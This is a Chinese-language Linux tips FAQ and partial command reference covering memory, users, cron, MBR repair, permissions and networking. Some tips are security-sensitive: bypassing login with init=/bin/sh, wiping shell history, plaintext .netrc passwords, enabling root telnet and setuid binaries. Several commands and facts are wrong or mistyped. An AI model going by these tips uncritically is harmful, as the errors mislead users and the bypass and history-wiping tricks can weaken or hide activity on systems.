    如何找出內存佔用最大的進程
    ====================================
    除了可以使用top命令查看內存使用情況之外,還可以使用更快的命令行命令,相關的命令如下:
    ps aux | sort +4n
    或者
    ps aux | sort +5n
    如何在Linux下面編輯二進製文件
    ====================================
    到http://freshmeat.net/redir/hexedit/4088/url_tgz/hexedit-1.2.3.src.tgz下載hexedit安裝到系統上,就能用hexedit filename來編輯二進製文件。
    如何設置用戶密碼過期時間
    ====================================
    設置某個用戶的密碼過期時間可以用usermod -e來設置,如果要統一設置用戶的密碼過期時間,那麼就要修改/etc/login.defs裡面的PASS_MAX_DAYS,比如修改所有用戶的密碼過期時間是30天:
    PASS_MAX_DAYS 30
    如果這個值是99999,那麼表示密碼永不過期。
    如何修改網卡MAC地址
    ====================================
    首先必須關閉網卡設備,否則會報告系統忙,無法更改。
    命令是: /sbin/ifconfig eth0 down
    修改MAC地址,這一步較Windows中的修改要簡單。
    命令是:/sbin/ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE
    重新啟用網卡/sbin/ifconfig eht0 up
    網卡的MAC地址更改就完成了
    如何用Bash糾正錯誤命令
    ====================================
    當你輸入一個命令不知道是否正確的時候,可以使用ctrl+t來糾正到正確的命令。
    比如輸入mkdri,然後按ctrl+t,bash會幫你糾正到最接近的命令mkdir。
    如何使非root用戶都不能遠程登錄
    ====================================
    建立/etc/nologin文件,這樣所有的非root用戶都不能遠程登錄。
    如何不顯示其他用戶的消息
    ====================================
    用戶可以使用mesg n來禁止別人給他發送信息,其實就是禁止別人往自己的終端上面的寫權限。當別人試圖再使用write給他發送信息時,發送者將會看見提示:
    write: user has messages disabled on pts/n
    如何知道某個命令使用了什麼庫文件
    ====================================
    例如要知道ls使用了什麼庫文件,可以使用:
    $ ldd /bin/ls
    如何臨時增加交換空間
    ====================================
    產生一個64M的空文件
    #dd if=/dev/zero of=/swapfile bs=1024 count=65536
    初始化該文件為交換文件:
    mkswap /swapfile 65536
    sync
    激活這個交換文件:
    swapon /swapfile
    如何使一個用戶進程在用戶退出系統後仍然運行
    ====================================
    使用nohup command &,比如:
    nohup wget -c ftp://test.com/test.iso
    這樣即使用戶退出系統,wget進程仍然繼續運行直到test.iso下載完成為止
    如何限制用戶的最小密碼長度
    ====================================
    修改/etc/login.defs裡面的PASS_MIN_LEN的值。比如限制用戶最小密碼長度是8:
    PASS_MIN_LEN 8
    這樣用戶設置密碼的時候如果輸入的密碼長度小於8將不能設置
    如何限制只有0組(gid=0)的用戶可以su成root
    ====================================
    修改/etc/login.defs裡面的SU_WHEEL_ONLY的值為:
    SU_WHEEL_ONLY yes
    那麼就只有gid為0的用戶可以su成root。
    如何禁用Ctrl+Alt+Del鍵重啟系統
    ====================================
    有時候為了防止誤操作導致系統重新啟動(如機房裡面新來了個習慣用Window$系統的管理員:-D),或者出於安全的原因,需要禁用Ctrl+Alt+Del組合鍵。
    只需要註釋掉/etc/inittab文件內的
    ca::ctrlaltdel:/sbin/shutdown -t3 -r now
    這一行即可。如何註釋?在這一行的行首放一個“#”號即可。
    怎麼樣格式化磁盤
    ====================================
    Linux下有一條mkfs命令,相當於format,可以對磁盤進行文件系統製作操作(或者說格式化)。命令的語法為:
    mkfs -t文件系統類型/dev/設備名
    如要把/dev/sda1格式為reiserfs格式,使用以下命令:
    mkfs -t reiserfs /dev/sda1
    當然,也可以使用mkfs.fstype命令來格式化磁盤,其中的fstype為文件系統名,如reiserfs文件系統的格式化命令為mkfs.reiserfs。上面那條命令的相應版本為:
    mkfs.reiserfs /dev/sda1
    如何取消root命令歷史記錄以增加安全性
    ====================================
    為了設置系統不記錄每個人執行過的命令,就在/etc/profile裡設置:
    HISTFILESIZE=0
    HISTSIZE=0
    或者:
    ln -s /dev/null ~/.bash_history
    這樣就可以了。
    如何使用netrc文件進行自動ftp
    ====================================
    在自己的home目錄下建立一個權限600,名為.netrc的文件,內容是:
    machine 192.168.0.1 login test password test
    這樣以後你每次ftp 192.168.0.1的時候,系統都會幫你以用戶名test,密碼test登錄。
    利用這個特徵可以實現自動ftp。
    例如你想要每天5:00到192.168.0.1機器上面獲得/test目錄下的文件test.txt,可以這麼做:
    建立一個文件ftp_cmd,內容為:
    cd test
    get test.txt
    bye
    然後使用crontab -e設置定時任務:
    0 5 * * * ftp 192.168.0.1 < ftp_cmd
    如何測試硬盤性能
    ====================================
    使用hdparm -t -T /dev/hdX就可以測試硬盤的buffer-cache reads和buffered disk reads兩個數據,可以用來當作硬盤性能的參考。
    同時使用hdparm -c3 /dev/hdaX還能設置硬盤以32bit傳輸,以加快數據傳輸的速度。
    壓縮和打包文件
    ====================================
    .bz2文件如何解壓縮用tar -I或者bunzip2命令都可以。
    .bz2 —使用bzip2命令壓縮的文件,可以使用bzip2 -d filename解包
    .gz —使用gzip命令壓縮的文件,可以使用gunzip -d filename解包
    .tar —使用tar打包的文件,即tarball文件,可以使用tar xf filename解包
    .tbz —使用tar打完包後再以bzip2命令壓縮的文件,可以使用tar jxf filename解包
    .tgz —使用tar打完包後再以gzip命令壓縮的文件,可以使用tar zxf filename解包
    個人總結:
    [.tar]解開:tar xvf *.tar把文件打包不壓縮:tar cvf *.tar DirName
    [.tar.gz]解開:tar xzvf *.tar.gz把文件打包並壓縮:tar czvf *.tar.gz DirName
    [.bz2]解開:bzip2 -d *.bz2
    [.bz]解開:bzip -d *.bz
    [.gz]解開:gzip -d *.gz
    請參見:【Linux下常用壓縮格式的壓縮與解壓方法】

    如何對光驅、軟驅實現AutoMount
    ====================================
    安裝完Redhat Linux之後,運行ntsysv,選中服務後台程序autofs.autofs的兩個配置文件在/etc/auto.misc和/etc/auto.master。
    /etc/auto.master定義了mount目錄和mount所需的配置文件名及其空閒時自動umount的時間。下面是默認配置:
    [jephe@sh3 /etc]$ more auto.master
    /misc /etc/auto.misc –timeout 60
    下面是我的/etc/auto.misc配置文件:
    [jephe@sh3 /etc]$ more auto.misc
    cdrom -fstype=iso9660,ro :/dev/cdrom
    floppy -fstype=vfat :/dev/fd0
    e2floppy -fstype=ext2 :/dev/fd0
    注:
    a.確保/dev/cdrom作為符號鏈接指向你的光驅所在的分區,作為我的情況:
    [jephe@sh3 /dev]$ ls cdrom -l
    lrwxrwxrwx 1 root root 3 Aug 26 08:44 cdrom -> hdd
    b.當軟盤為windows 95格化化的vfat分區類型時,設定了安裝目錄/misc/floppy
    c.當軟盤為Linux格式化過的ext2分區類型時,設定了安裝目錄/misc/e2floppy
    至此,若還未啟動autofs,則運行/etc/rc.d/init.d/autofs start,若對上述兩個文件中做過任何更改,運行/etc/rc.d/init.d/autofs restart即可。
    放入一片光盤進入光驅後,不需任何動作,直接進入目錄/misc/cdrom,autofs將自動先為你mount光驅同樣,若放入一張vfat格式的軟盤,你可以cd /misc/floppy ,若是ext2格式的軟盤,則cd /misc/e2floppy。在超過一分鐘未使用它們,且當前目錄不是自動mount目錄/misc/cdrom,/misc/floppy,/misc/e2floppy,系統將自動umount它們。
    cron計劃任務
    ====================================
    簡介
    crontab-操作每個用戶的守護程序和該執行的時間表。
    部分參數說明
    crontab file [-u user]-用指定的文件替代目前的crontab。
    crontab-[-u user]-用標準輸入替代目前的crontab.
    crontab-1[user]-列出用戶目前的crontab.
    crontab-e[user]-編輯用戶目前的crontab.
    crontab-d[user]-刪除用戶目前的crontab.
    crontab-c dir-指定crontab的目錄。
    crontab文件的格式:M H D m d cmd.
    M:分鐘(0-59)。
    H:小時(0-23)。
    D:天(1-31)。
    m:月(1-12)。
    d:一星期內的天(0~6,0為星期天)。
    cmd要運行的程序,程序被送入sh執行,這個shell只有USER,HOME,SHELL這三個環境變量。
    下面是一個例子文件:
    #MIN HOUR DAY MONTH DAYOFWEEK COMMAND
    #每天早上6點10分
    10 6 * * * date
    #每兩個小時
    0 */2 * * * date
    #晚上11點到早上8點之間每兩個小時,早上8點
    0 23-7/2,8 * * * date
    #每個月的4號和每個禮拜的禮拜一到禮拜三的早上11點
    0 11 4 * mon-wed date
    #1月份日早上4點
    0 4 1 jan * date
    範例
    $crontab -l列出用戶目前的crontab.
    #MIN HOUR DAY MONTH DAYOFWEEK COMMAND
    10 6 * * * date
    0 */2 * * * date
    0 23-7/2,8 * * * date
    如何在Linux裡面恢復mbr?
    ====================================
    可以使用下面的命令來恢復:
    dd if=/boot/boot.NNNN of=/dev/hda bs=446 count=1
    其中bs(buffer size)是指重寫的字節數。為什麼不是512呢?主引導扇區是一個扇區(512字節)呀?答案是因為我們用上面的命令是為了修復可能被病毒修改了的主引導記錄MBR,或者想把LILO卸載掉,而不是恢復整個主引導扇區。所以我們只把主引導扇區的備份文件boot.NNNN的前446個字節重寫入主引導扇區。 boot.NNNN是我們在安裝Linux之前整個主引導分區的備份。如果我們把512個字節全部寫入主引導扇區就可能會把安裝了Linux後改變了的硬盤DPT表也破壞掉。那就壞事了。 🙂
    如何列出一個目錄佔用的空間
    ====================================
    du或du -s或du -k
    du -S | sort -n可以迅速發現那個目錄是最大的。
    用df可以看到已安裝的文件系統的空間大小及剩餘空間大小。
    quota -v查看用戶的磁盤空間信息,如果你用quota限制了用戶空間大小的話。
    在使用less或more時,如何直接啟動編輯器
    ====================================
    在less或者more中打入v鍵,會立即啟動vi編輯器,可以對文件進行編輯
    如何察看你當前使用的Linux內核的版本
    ====================================
    可以使用uname -r來查看當前內核版本。如果使用uname -a可以查看包括內核版本,機器硬件信息、網絡節點名、操作系統名字等信息
    如何顯示文件的類型
    ====================================
    用命令file可以使你知道某個文件究竟是ELF格式的可執行文件,還是shell script文件或是其他的什麼格式例如:
    #file startx
    如何將man page轉成HTML格式
    ====================================
    使用man2html這個指令,就可以將man page轉成HTML格式了。用法是:
    man2html filename > htmlfile.html
    例子:
    man2html /usr/man/man1/man2html.1 > ~/man2html.html
    查看文件內容的特殊方法
    ====================================
    相信最基本的cat和less你已經很熟悉了,如果有特殊的要求呢:
    如果你只想看文件的前5行,可以使用head命令,如:
    head -5 /etc/passwd
    如果你想查看文件的後10行,可以使用tail命令,如:
    tail -10 /etc/passwd
    tail -f /var/log/messages
    參數-f使tail不停地去讀最新的內容,這樣有實時監視的效果,當你在ppp撥號的過程中用它豈不是很方便!
    查看文件中間一段,你可以使用sed命令,如:
    sed -n ‘5,10p’ /etc/passwd
    這樣你就可以只查看文件的第5行到第10行。
    linux下文件分割與合併
    ====================================
    $dd if=source of=target.1 bs=1M count=10
    $dd if=source of=target.2 bs=1M skip=10
    source被分為target.1和target.2兩個文件,其中target.1為source的前10M部分;target.2為source的減去10M後的部分。
    $cat target.1 target.2 > othersource
    source與othersource是同一個文件。
    RedHat下如何顯示彩色目錄列表
    ====================================
    打開/etc/bashrc,加入如下一行:
    alias ls=”ls –color”
    下次啟動bash時就可以像在Slackware裡那樣顯示彩色的目錄列表了,其中顏色的含義如下:
    藍色–>目錄
    綠色–>可執行文件
    紅色–>壓縮文件
    淺藍色–>鏈接文件
    灰色–>其他文件
    什麼是Linux運行級?
    ====================================
    什麼是運行級呢?簡單的說,運行級就是操作系統當前正在運行的功能級別。這個級別從1到6,具有不同的功能。這些級別在/etc/inittab文件裡指定。這個文件是init程序尋找的主要文件,最先運行的服務是那些放在/etc/rc.d目錄下的文件。
    不同的運行級定義如下:(可以參考Red Hat Linux裡面的/etc/inittab)
    #缺省的運行級,RHS用到的級別如下:
    # 0 -停機(千萬不要把initdefault設置為0 )
    # 1 -單用戶模式
    # 2 -多用戶,但是沒有NFS
    # 3 -完全多用戶模式
    # 4 -沒有用到
    # 5 – X11
    # 6 -重新啟動(千萬不要把initdefault設置為6 )
    對各個運行級的詳細解釋:
    0為停機,機器關閉。
    1為單用戶模式,就像Win9x下的安全模式類似。
    2為多用戶模式,但是沒有NFS支持。
    3為完整的多用戶模式,是標準的運行級。
    4一般不用,在一些特殊情況下可以用它來做一些事情。例如在筆記本電腦的電池用盡時,可以切換到這個模式來做一些設置。
    5就是X11,進到Xwindow系統了。
    6為重啟,運行init 6機器就會重啟。
    不同的運行級有不同的用處,也應該根據自己的不同情形來設置。例如,如果丟失了root口令,那麼可以讓機器啟動進入單用戶狀態來設置。在啟動後的lilo提示符下輸入:
    init=/bin/sh rw
    就可以使機器進入運行級1 ,並把root文件系統掛為讀寫。他會跳過所有系統認證,讓你使用passwd程序來改變root口令,然後啟動到一個新的運行級。

    系統平均負載(Load average)釋疑
    ====================================
    在Linux系統中,uptime、w、top等命令都會有系統平均負載load average的輸出,那麼什麼是系統平均負載呢?
    系統平均負載被定義為在特定時間間隔內運行隊列中的平均進程樹。如果一個進程滿足以下條件則其就會位於運行隊列中:
    -它沒有在等待I/O操作的結果
    -它沒有主動進入等待狀態(也就是沒有調用’wait’)
    -沒有被停止(例如:等待終止)
    例如:
    [root@www2 init.d]# uptime
    7:51pm up 2 days, 5:43, 2 users, load average: 8.13, 5.90, 4.94
    命令輸出的最後內容表示在過去的1、5、15分鐘內運行隊列中的平均進程數量。
    一般來說只要每個CPU的當前活動進程數不大於3那麼系統的性能就是良好的,如果每個CPU的任務數大於5,那麼就表示這台機器的性能有嚴重問題。對於上面的例子來說,假設系統有兩個CPU,那麼其每個CPU的當前任務數為:8.13/2=4.065。這表示該系統的性能是可以接受的。
    如何以樹狀結構顯示系統當前的任務
    ====================================
    運行ps時指定—forest選項,當前運行的進程將會以樹狀格式顯示出來。比如:所有由xserver運行的程序,將會以xserver做為它們的“根”顯示出來。
    命令格式:
    ps afx
    其中’a’表示列出所有運行的進程;’x’列出所有的後台進程;’f’是’-forest’的縮寫。輸出的格式如下:
    329 ? SW 0:00 [wdm]
    342 ? R 9:57 _ /usr/X11R6/bin/X :0 vt7 -fbbpp 16 -auth /usr/etc/
    343 ? SW 0:00 _ [wdm]
    364 ? S 0:45 _ /usr/bin/enlightenment
    399 ? S 0:00 _ /usr/bin/ssh-agent sh /home/tuneup/.xse
    404 ? S 2:28 _ gkrellm -wm
    787 ? S 0:05 _ aterm -fg white -tr
    788 ttyp0 SW 0:00 _ [bash]
    792 ttyp0 S 0:00 _ vim todo
    注:另外一種得到格式化輸出結果的方法是:pstree -pu
    列目錄時如何顯示中文文件名
    ====================================
    我們可以使用–show-control-chars命令選項來顯示。
    例如:
    $ls –show-control-chars
    如果使用的是一個比較常用的windows的分區,那麼可以通過修改fstab來實現,在fstab中加入類似內容:
    /dev/hda1 /mnt/c vfat defaults,codepage=936,iocharset=cp936 0 0
    那麼以後進入系統後都可以方便地使用/mnt/c訪問windows的這個目錄並正確顯示目錄名和文件名。
    如何使用iso文件?
    ====================================
    許多Linux發行版本都有.iso的光盤鏡像文件,可以用來刻錄光盤。我們也可以在Linux系統下直接使用。
    #mount -t iso9660 -o loop xxxxx.iso /any/path/if/u/like
    查詢你的CPU等級
    ====================================
    cat /proc/cpuinfo
    如何使用戶沒有telnet和ftp權限
    ====================================
    若只希望用戶沒telnet權限,則需要修改/etc/passwd中對應該用戶的shell為/bin/true。
    若只希望用戶沒有telnet和ftp權限,則需要修改/etc/passwd中對應該用戶的shell為/bin/false。
    如何連續執行一個命令
    ====================================
    使用watch命令,可以反复執行命令,如果和ls配合,可以達到觀察某文件大小變化的效果。例如:
    $watch ls -l file.name
    如何防止某個關鍵文件被修改
    ====================================
    在linux下,有些配置文件是不允許任何人包括root修改的,為了防止被誤刪除或修改,可以設定該文件的”不可修改位(immutable)”。
    例如:
    chattr +i /etc/fstab
    如果需要修改文件則:
    chattr -i /etc/fstab
    以後再修改文件。
    linux環境下如何undelete
    ====================================
    先在自己的主目錄下創建一個名為.trash的子目錄,然後在bashrc加入以下指令:
    alias rm ‘mv -f !* ~/.trash’
    alias undel ‘mv ~/.trash/!* ./!*’
    alias cleantrash ‘/bin/rm -rf ~/.trash; mkdir ~/.trash;sync’
    alias lrm ‘ls ~/.trash’
    若文檔是直接用rm命令刪除的,理論上ext2內rm掉的檔案還是可以用debugfs , ext2ed救回來的.當然…被overwrite掉就沒救了。
    如何找出磁盤中某個大小範圍內的文件
    ====================================
    比如要查找磁盤中大於3M的文件:
    find . -size +3000k -exec ls -ld {} ;
    如何快速重新執行已經執行過的命令
    ====================================
    使用!可以實現該功能,例如你前面執行了很多命令,現在突然想執行上一次執行的./configure命令,則只需要輸入“!./con”即可而無需使用上下鍵來滾動查找。
    而!!則能代替前面一個命令。比如剛執行過一次ifconfig,輸入“!!”則等於再執行一次ifconfig。
    而且這兩個用法可以和其他命令組合,比如你剛執行過ifconfig,然後執行man !!,就等於執行man ifconfig。
    當終端出現混亂時,如何讓它恢復正常
    ====================================
    當使用stty命令而出現一些混亂或者更糟的是,使用一個程序而使終端設置完全混亂了時怎麼辦?要回到“現實”,試試下面的命令:
    stty sane
    如果擊鍵變得混亂時,試著用<CTRL+j>來把命令括起來,輸入<CTRL+j>的順序是先按下CTRL再鍵入j鍵。
    <ctrl+j>ctty sane <ctrl+j>
    這個命令不會回到先前的設置,但卻可以去除一些稀奇古怪的設置。而真正會出現什麼設置要依賴於所使用的系統,但它至少會讓你能輸入字符,並見到結果。從這裡開始,你可以把一些組合鍵設置為你所喜歡的方式。
    如何將.gz文件分割為數個1.44mb
    ====================================
    把一個文件分割到軟盤:
    tar cfvm /dev/fd0 file.tar.gz
    把軟盤上的文件合併到硬盤:
    tar xvfm /dev/fd0
    如何一次處理一整個目錄
    ====================================
    Linux/UNIX的很多常用命令如rm , cp等都有一個參數—- -r ,是遞歸的意思,命令裡加了參數-r就可以對目標目錄及其下所有子目錄進行操作,如:
    rm -rf /test (f是force意為強行)
    該命令完全刪除根目錄下的子目錄test ,作用類似於dos下的deltree ,當然使用這個命令時要特別小心。再如:
    cp -r /test /test1
    有類似dos下xcopy /s的作用。
    redhat下如何允許root通過telnet登錄?
    ====================================
    方法1:/etc/securetty (加入pts/0 、pts/1、…)
    # echo “pts/0” >> /etc/securetty
    方法2:為了在redhat linux系統中激活遠程登陸,從文件/etc/pam.d/login中移去下面這一行:
    auth required /lib/security/pam_security.so
    將/etc/securetty這個文件改名就行啦,該文件是定義root只能在tty1~tty6的終端上登錄的,詳細的信息可以”man login”。
    Linux正常重新啟動的方法有很多種,下面介紹幾種常用的重新啟動方法:
    ====================================
    Ctrl+Alt+Del
    #init 6
    #shutdown -r now
    #reboot
    為什麼我的linux不允許普通用戶登錄?
    ====================================
    以root的身份登錄系統,檢查是不是有/etc/nologin這個文件,刪除這個文件,然後再以普通用戶的身份登錄。相信問題已經解決。
    出現這種問題一般是因為系統在關閉的過程中意外中斷了操作,如斷線或者是插頭被拔了之類的意外。而係統在關閉的過程中會自動的產生這個文件,以便通知用戶系統正在關閉這就造成普通用戶無法登錄了。
    另外一種原因是系統管理員在對系統進行維護,為了維護的過程中不受其他用戶的影響,需要生成這個文件來禁止其他用戶登錄。但很不幸系統管理維護完以後忘記刪除這個文件了。
    如何改變當前路徑下所有目錄和文件的所有權
    ====================================
    改變所有子目錄及文件的所有權
    #chown -R owner[.group] *
    也可以用find命令來實現:
    #find . -exec chown owner[.group] {} ;
    改變所有子目錄及文件的屬性
    在你要改變屬性的目錄下,輸入命令:
    #chmod -R 777 *
    就可以改變下面所有子目錄及文件的屬性,不過使用這個命令的時候要特別小心,要是在根目錄下打入這個命令,你所有文件的屬性都將改變,這就會引起很大的安全性問題。
    如何快速查找文件
    ====================================
    查找文件可以用find,但最好是用locate,速度快,參數少。
    $locate filename
    它是在一個數據庫裡面查找,所以,要記得經常用updatedb命令更新數據庫。一般地,在crontab中的cron.daily腳本會執行/usr/sbin/logrotate /etc/logrotate.conf命令,讓機子在每天深夜更新數據庫。
    如何將Linux或FreeBSD複製到另一顆硬盤?
    ====================================
    Linux上的系統複製很簡單,使用cp -ax將partition資料複製過去,重開機後設定lilo就可以了。
    FreeBSD也可以用cp來複製文檔,但是對於復制整個文檔系統並不是好方法。
    這裡介紹使用dump和restore來做:
    創建新的文檔系統
    假如你的新硬盤為ad1,而將來的根分區將是ad1s1a,你可以先創建文檔系統:
    newfs /dev/ad1s1a
    mount /dev/ad1s1a /mnt
    cd /mnt
    複製:
    dump -f- / | restore -f- -r
    這是把老的根文檔系統複製輸出到管道,restore從管道裡讀數據,寫入當前目錄所在的文檔系統。
    按部就班複製其他文檔系統
    複製完後,也許要修改新硬盤下的/etc/fstab,安裝上新的分區,摘下老硬盤就可以了。
    再補充一點,如果你要復制的是另外一台機器,可以用rsh,這樣就可以通過網絡把一個分區數據傳送到另外一台機器,不需要NFS,不需SAMBA等就可以解決問題,而cp就很難作到了。
    newfs /dev/ad1s1a
    mount /dev/ad1s1a /mnt
    cd /mnt
    rsh -l yourname thathost ‘dump -f- /’ | restore -f- -r
    linux怎麼給一個普通用戶reboot權限?
    ====================================
    分四種情況討論:
    1.讓任何人(包括根本不擁有系統帳號的人)都可以通過控制台reboot
    在/etc/inittab文件中保留ca::ctrlaltdel:/sbin/shutdown -t3 -r now
    這一行。這樣全國人民都可以reboot你的機器,只要你把控制台交出來。
    2.讓所有系統用戶都可以reboot
    執行# > /etc/security/console.apps/reboot即可。這就在console.apps目錄下生成了一個空文件,文件名就是授權的application。以上路徑是針對Mandrake系統而言的,其他系統我不清楚。不過,真正高雅的Mandraker或許根本就不會去靠“>”來生成這個文件——他們會使用msec來進行控制的。
    3.讓指定的用戶才可以reboot
    假設我們要讓用戶zhizunbao擁有reboot的權限,我們靠uid/gid來完成控制:
    # groupadd reboot
    # cd /usr/local
    # mkdir reboot
    # chown root:reboot reboot/
    # chmod 750 reboot/
    # cd reboot
    # cp /sbin/reboot .
    # chmod 4755 reboot
    # usermod -G reboot zhizunbao
    現在,zhizunbao就可以運行/usr/local/reboot/reboot來重啟動機器。
    4.在一台不設普通用戶的機器上啟用口令驗證reboot
    這實際上是靠添加一個關機帳號來實現的,該帳號的shell就是加了s位的/sbin/halt,並且口令只有少數維護人員知道。我們這裡採用的就是第4套方案。
    怎樣知道自己的機器上有哪些服務在運行
    ====================================
    若一台機器運行有很多不需要的服務,那麼被攻擊者入侵的可能性就會大大加大,因此作為管理員就應該經常查看系統運行有哪些服務。
    首先查看系統運行的進程
    若需要查看系統當前運行的所有進程,就需要用如下命令:
    # ps auxw
    其中參數a表示顯示系統中所有用戶的的進程;u表示輸出進程用戶所屬信息;x表示也顯示沒有控制台的進程;若顯示行太長而被截斷則可以使用f參數;
    查看系統監聽的服務
    # netstat -ln
    l表示顯示當前系統監聽的端口信息;n表示端口按照端口號來顯示,而不轉換為service文件中定義的端口名;若希望了解各個端口都是由哪些進程監聽則可以使用p參數。
    若發現不需要的服務,可以使用linuxconf或ntsysv命令來關閉這些服務在系統啟動時自啟動,然後重新啟動系統則這些服務將在運行。
    有些服務是由inetd超級服務器來監控的,則需要標記/etc/inetd.conf來關閉這些服務。
    查詢端口對應的服務
    ====================================
    # lsof -i :端口號
    查詢此端口對應的服務。
    vi中設置自動縮進
    ====================================
    :set autoindent
    :set ai
    取消
    :set noautoindent
    :set noai
    如何使linux系統對ping不反應
    ====================================
    在linux裡,如果要想使ping沒反應也就是用來忽略icmp包。可以用:
    echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    若想恢復就用:
    echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_all
    如何實現多網卡bondin
    ====================================
    使用多塊網卡虛擬成為一塊網卡,具有相同的IP地址。這項技術其實在sun和cisco中已經存在,分別稱為Trunking和etherchannel技術,在Linux中,這種技術稱為bonding。
    因為bonding在內核2.4.x中已經包含了,只需要在編譯的時候把網絡設備選項中的Bonding driver support選中就可以了。
    然後,重新編譯核心,重新起動計算機,執行如下命令:
    ismod bonding
    ifconfig eth0 down
    ifconfig eth1 down
    ifconfig bond0 ipaddress
    ifenslave bond0 eth0
    ifenslave bond0 eth1
    現在兩塊網卡已經像一塊一樣工作了.這樣可以提高集群節點間的數據傳輸.
    你最好把這幾句寫成一個腳本,再由/etc/rc.d/rc.local調用,以便一開機就生效.
    bonding對於服務器來是個比較好的選擇,在沒有千兆網卡時,用兩三塊100兆網卡作bonding,可大大提高服務器到交換機之間的帶寬.但是需要在交換機上設置連接bonding網卡的兩個口子映射為同一個虛擬接口。

  • linux指令大全

    名稱:cat
    使用權限:所有使用者
    使用方式:cat [-AbeEnstTuv] [–help] [–version] fileName
    說明:把檔案串連接後傳到基本輸出(螢幕或加> fileName到另一個檔案)
    參數:
    -n或–number由1開始對所有輸出的行數編號
    -b或–number-nonblank和-n相似,只不過對於空白行不編號
    -b或–number-nonblank和-n相似,只不過對於空白行不編號
    -s或–squeeze-blank當遇到有連續兩行以上的空白行,就代換為一行的空白

    -v或–show-nonprinting
    範例:
    cat -n textfile1 > textfile2把textfile1的檔案內容加上行號後輸入
    textfile2這個檔案裡
    cat -b textfile1 textfile2 >> textfile3把textfile1和textfile2的檔
    案內容加上行號(空白行不加)之後將內容附加到textfile3
    名稱: cd
    使用權限:所有使用者
    使用方式: cd [dirName]
    說明:變換工作目錄至dirName。其中dirName表示法可為絕對路徑或相對路
    徑。若目錄名稱省略,則變換至使用者的home directory (也就是剛login時
    所在的目錄)。
    另外,”~”也表示為home directory的意思,”.”則是表示目前所在的目錄
    ,”..”則表示目前目錄位置的上一層目錄。
    範例:跳到/usr/bin/ :
    cd /usr/bin
    跳到自己的home directory :
    cd ~
    跳到目前目錄的上上兩層:
    cd ../..
    cd ../..
    指令名稱: chmod
    使用權限:所有使用者
    使用方式: chmod [-cfvR] [–help] [–version] mode file…
    說明: Linux/Unix的檔案存取權限分為三級:檔案擁有者、群組、其他。利用
    chmod可以藉以控制檔案如何被他人所存取。
    把計:
    mode :權限設定字串,格式如下: [ugoa…][[+-=][rwxX]…][,…],其中u
    表示該檔案的擁有者,g表示與該檔案的擁有者屬於同一個群體(group)者,o表
    示其他以外的人,a表示這三者皆是。
    +表示增加權限、-表示取消權限、=表示唯一設定權限。
    r表示可讀取,w表示可寫入,x表示可執行,X表示只有當該檔案是個子目錄
    或者該檔案已經被設定過為可執行。
    -c :若該檔案權限確實已經更改,才顯示其更改動作
    -f :若該檔案權限無法被更改也不要顯示錯誤訊息
    -v :顯示權限變更的詳細資料
    -R :對目前目錄下的所有檔案與子目錄進行相同的權限變更(即以遞回的方式逐
    個變更)
    –help :顯示輔助說明
    –version :顯示版本
    範例:將檔案file1.txt設為所有人皆可讀取:
    chmod ugo+r file1.txt
    將檔案file1.txt設為所有人皆可讀取:
    將檔案file1.txt設為所有人皆可讀取:
    chmod a+r file1.txt
    將檔案file1.txt與file2.txt設為該檔案擁有者,與其所屬同一個群體者可
    寫入,但其他以外的人則不可寫入:
    chmod ug+w,o-w file1.txt file2.txt
    將ex1.py設定為只有該檔案擁有者可以執行:
    chmod u+x ex1.py
    將目前目錄下的所有檔案與子目錄皆設為任何人可讀取:
    chmod -R a+r *
    此外chmod也可以用數字來表示權限如chmod 777 file
    語法為:chmod abc file
    其中a,b,c各為一個數字,分別表示User、Group、及Other的權限。
    r=4,w=2,x=1
    若要rwx屬性則4+2+1=7;
    若要rw-屬性則4+2=6;
    若要r-x屬性則4+1=7。
    範例:
    chmod a=rwx file

    chmod 777 file
    效果相同
    chmod ug=rwx,o=x file


    chmod 771 file
    效果相同
    若用chmod 4755 filename可使此程式具有root的權限
     
    指令名稱: chown
    使用權限: root
    使用方式: chmod [-cfhvR] [–help] [–version] user[:group] file…
    說明: Linux/Unix是多人多工作業系統,所有的檔案皆有擁有者。利用chown
    可以將檔案的擁有者加以改變。一般來說,這個指令只有是由系統管理者(root)
    所使用,一般使用者沒有權限可以改變別人的檔案擁有者,也沒有權限可以自己
    的檔案擁有者改設為別人。只有系統管理者(root)才有這樣的權限。
    把計:
    user :新的檔案擁有者的使用者IDgroup :新的檔案擁有者的使用者群
    體(group)-c :若該檔案擁有者確實已經更改,才顯示其更改動作-f :若該檔案
    擁有者無法被更改也不要顯示錯誤訊息-h :只對於連結(link)進行變更,而非該
    link真正指向的檔案-v :顯示擁有者變更的詳細資料-R :對目前目錄下的所有
    檔案與子目錄進行相同的擁有者變更(即以遞回的方式逐個變更)–help :顯示輔
    助說明–version :顯示版本
    範例:
    將檔案file1.txt的擁有者設為users群體的使用者jessie :
    chown jessie:users file1.txt
    將目前目錄下的所有檔案與子目錄的擁有者皆設為users群體的使用者
    lamport :
    lamport :
    chown -R lamport:users *
     
    名稱:cp
    使用權限:所有使用者
    使用方式:
    cp [options] source dest
    cp [options] source… directory
    說明:將一個檔案拷貝至另一檔案,或將數個檔案拷貝至另一目錄。
    把計
    -a盡可能將檔案狀態、權限等資料都照原狀予以復制。
    -r若source中含有目錄名,則將目錄下之檔案亦皆依序拷貝至目的地。
    -f若目的地已經有相同檔名的檔案存在,則在復制前先予以刪除再行複制。
    範例:
    將檔案aaa複製(已存在),並命名為bbb :
    cp aaa bbb
    將所有的C語言程式拷貝至Finished子目錄中:
    cp *.c Finished
    名稱:cut
    使用權限:所有使用者
    用法:cut -cnum1-num2 filename
    說明:顯示每行從開頭算起num1到num2的文字。
    範例:
    shell>> cat example
    shell>> cat example
    test2
    this is test1
    shell>> cut -c0-6 example ## print開頭算起前6個字元
    test2
    this i
    名稱: find
    用法: find
    使用說明:
    將檔案系統內符合expression的檔案列出來。你可以指要檔案的名稱、類別、
    時間、大小、權限等不同資訊的組合,只有完全相符的才會被列出來。
    find根據下列規則判斷path和expression,在命令列上第一個- ( ) , !之
    前的部份為path,之後的是expression。如果path是空字串則使用目前路徑
    ,如果expression是空字串則使用-print為預設expression
    expression中可使用的選項有二三十個之多,在此只介紹最常用的部份。
    -mount, -xdev :只檢查和指定目錄在同一個檔案系統下的檔案,避免列出其它
    檔案系統中的檔案
    -amin n :在過去n分鐘內被讀取過
    -anewer file :比檔案file更晚被讀取過的檔案
    -atime n :在過去n天過讀取過的檔案
    -cmin n :在過去n分鐘內被修改過
    -cnewer file :比檔案file更新的檔案
